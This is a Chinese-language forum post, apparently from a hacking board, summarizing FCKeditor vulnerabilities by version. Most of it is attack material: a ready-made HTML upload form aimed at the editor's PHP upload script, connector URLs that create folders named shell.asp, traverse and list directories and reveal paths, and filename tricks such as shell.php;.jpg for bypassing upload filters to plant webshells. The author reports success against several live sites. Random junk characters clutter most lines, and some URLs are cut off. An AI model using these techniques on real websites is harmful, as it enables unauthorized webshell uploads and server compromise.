Fckeditor漏洞利用总结 1 |# a/ F$ s" M0 }# ~# Q! \9 d
查看编辑器版本
+ y% _" X* s- E% |. l4 {! j& pFCKeditor/_whatsnew.html8 w4 h3 `. ~! i3 r: I" C
—————————————————————————————————————————————————————————————
* m+ C X: \4 s8 T/ B& x, m
; y9 w' q0 V P8 x' A/ e2. Version 2.2 版本
! p+ a. |. ~& R6 `Apache+linux 环境下在上传文件后面加个.突破!测试通过。- z3 ]: X$ i% s' T% ~
—————————————————————————————————————————————————————————————
- ~. D( T/ e9 k, T& H, W; n
% N. e8 f$ R4 S+ L3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。* n# d6 o1 F! M
<form id="frmUpload" enctype="multipart/form-data" G& p, {* V" \; e k! V) S
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
: L, }2 j* _, v& c2 ]% R' C3 j7 h<input type="file" name="NewFile" size="50"><br>
1 j9 a" S% L5 E; Q<input id="btnUpload" type="submit" value="Upload">& E' K3 H5 C k0 b& V* y7 y, T
</form>0 O4 Z( e( M2 R7 t; z8 \
—————————————————————————————————————————————————————————————
- |1 W" ~9 y( u4 F! W6 [9 f- w' w2 c" m# F2 {* o, q3 a r) @
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法( `/ Z) `; D8 D; ?' G
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
) ?6 y( R& l) A; W% m) q) M4 M 4.1:提交shell.php+空格绕过/ i3 X. z# I3 r8 n, [# C
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
9 ?3 N5 e( Q- b8 l. ?7 C( P 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。- w3 F N' @" X2 \- E$ Z% U
—————————————————————————————————————————————————————————————3 Z) c4 h/ ~' o* |# z+ |. M; G3 V
! O. J: p$ h. W n* s" ~6 |
5. 突破建立文件夹
; T M2 T, s9 B$ eFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
1 b3 B/ r) U6 \8 \4 g) lFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
9 P9 R' e8 z, _, [6 Z2 W% K—————————————————————————————————————————————————————————————3 z7 r, X; K6 k9 r& t9 _
9 O4 a; B% B3 x2 z7 }
6. FCKeditor 中test 文件的上传地址
/ l# t H/ ]0 Z$ ]( m& A% OFCKeditor/editor/filemanager/browser/default/connectors/test.html$ X8 c5 h4 r. x# r( c" H, S
FCKeditor/editor/filemanager/upload/test.html
# N( P K" y/ aFCKeditor/editor/filemanager/connectors/test.html
/ m$ f, ?2 N7 [: D( }' E" LFCKeditor/editor/filemanager/connectors/uploadtest.html
, P! e) s7 ~0 S8 \! r—————————————————————————————————————————————————————————————
2 a, J+ {) L' q2 n/ B/ Z: `0 R0 N9 ]4 ^3 e, U2 w2 c
7.常用上传地址
4 t' V) O" I8 o" b4 r! s$ lFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/6 K. M7 D; W3 z1 s' o+ A$ Z8 F
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp3 r0 l) L+ W2 O- u- h
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
. x7 W4 o5 N% T3 ~% d* U8 ~& T8 x( VJSP 版:
% {% \% B5 z7 k0 ? U" P e5 jFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
* }6 b" W) N. J# y7 r" A M9 d注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
+ b7 I; H0 [; R H4 t件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
; d: n3 e( d0 I5 p—————————————————————————————————————————————————————————————; b% i9 J0 |9 H. {' p
- _; D( w. \2 d8.其他上传地址
9 X6 z6 f9 h2 y! [/ UFCKeditor/_samples/default.html2 [' K5 e k& D2 Q. }# y
FCKeditor/_samples/asp/sample01.asp0 e& r& `, O9 e( g, v: {$ h
FCKeditor/_samples/asp/sample02.asp1 {5 t, U" Q5 I. H- @4 v- ?
FCKeditor/_samples/asp/sample03.asp. F* g& B/ x$ I) M
FCKeditor/_samples/asp/sample04.asp
* q7 f6 a8 i) t! j: c* I一般很多站点都已删除_samples 目录,可以试试。3 |& }" z# e6 e# `
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。8 ]% i: L- a; P! X
—————————————————————————————————————————————————————————————8 L! o5 z8 E6 y$ ~
* o. y3 K$ {. y* g; b/ d+ Q
9.列目录漏洞也可助找上传地址 [ _" b. q% j2 b0 z7 ]/ j' n1 T) g1 ]
Version 2.4.1 测试通过1 ^& n1 I, r, o
修改CurrentFolder 参数使用 ../../来进入不同的目录
' _! ]* ~. B3 p, J4 u- y/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
3 N' A, e3 ?7 {9 M6 Y$ l根据返回的XML 信息可以查看网站所有的目录。, \9 i# f4 ?. z$ {' H
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F9 ~# W; {0 j2 j
也可以直接浏览盘符:
- s* q, I" c7 N4 Y6 }JSP 版本:: D2 O+ h+ j; P- L8 q1 ^' K
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
. G3 N7 G5 p/ l; I% r; S—————————————————————————————————————————————————————————————# D. O+ O1 i- T: w* j2 ~" E- F+ h
+ `& @& r" L. @1 U$ S/ m10.爆路径漏洞
9 [- k1 ~# k1 i+ ?3 j; N! \& g2 TFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp9 Q1 A% n0 l: ?2 X4 Z2 A
—————————————————————————————————————————————————————————————
. I" V+ M# a. `8 L: |% y2 d! M/ C( F9 P) P# j, ?" _9 T( s% [
11. FCKeditor 被动限制策略所导致的过滤不严问题3 b" z9 S) M- I
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
$ b5 d+ m6 }. ]/ @4 S脆弱描述:
! l1 f3 i2 [( b4 q' q2 r# ]FCKeditor v2.4.3 中File 类别默认拒绝上传类型:3 O2 l( d3 J. U0 m# G3 O, J1 B4 \. j; u
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm5 B' w6 N4 e2 c- n' W( M
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!6 Z4 |9 U1 X( I1 U, J1 h
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。- c: p0 [) y8 _, R
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!5 `9 ]0 Z* R8 G: ?. W, s
—————————————————————————————————————————————————————————————( u4 c5 W8 s O& h" H
* l: j7 y z( M3 g7 x12.最古老的漏洞,Type文件没有限制!+ U' [9 L5 [! t0 Y8 @1 t, M/ l
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! % x/ L* y* }9 y: R( F
—————————————————————————————————————————————————————————————% Q+ J% w5 a+ A6 v6 D
! D3 m/ {# O- W J
===============================================================================================================================================
4 R! e/ K1 L1 y: c; D% f; X: a+ R$ L
FCK编辑器jsp版本漏洞:& t$ `8 n, q4 e/ Y- m: c0 t
3 N1 l' i4 b% l5 d$ z+ s/ @
0 o7 r9 V/ _7 a: F7 f# r
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F" K5 h& |8 y t; J8 i7 R2 b2 L
& F" \5 Q: h4 f. k* F3 p# U3 L上传马所在目录
5 D2 Q9 y- R' {FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/3 ^- d7 C/ c4 A5 `* Z
上传shell的地址:2 @! L# z$ M! f# n c
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
! r7 ]4 i1 a" O# b# b8 y跟版本有关系.并不是百分百成功. 测试成功几个站.
" u% @! B" h& e5 \7 e% w不能通杀.很遗憾.4 k& a) j# K3 E' a" t/ p/ V
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector! |; O6 f' J) X8 K. J0 S
如果以上地址不行可以试试0 x8 Z3 l# Y2 |8 X; F
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector2 u5 t1 x; S8 C' L. b2 Z
FCKeditor/_samples/
8 m" X' Z9 o' X: o# N/ H( EFCKeditor/_samples/default.html
$ `) Q( B8 `5 B0 E1 |; z% mFCKeditor/editor/fckeditor.htm
$ ~4 x7 w$ @1 b: @) P% ]& p+ O) o2 w9 BFCKeditor/editor/fckdialog.html
0 U8 ~& ?1 u/ f! Y% f
" T' Z3 f) i: {& e# O! J, Y- t* e8 n$ H7 b% A5 Q
# L, s1 w; n, Y( P$ N4 n- X解析漏洞+未重命名文件时上传漏洞 1.asp;jpg2 S0 }9 l; O2 r2 b
|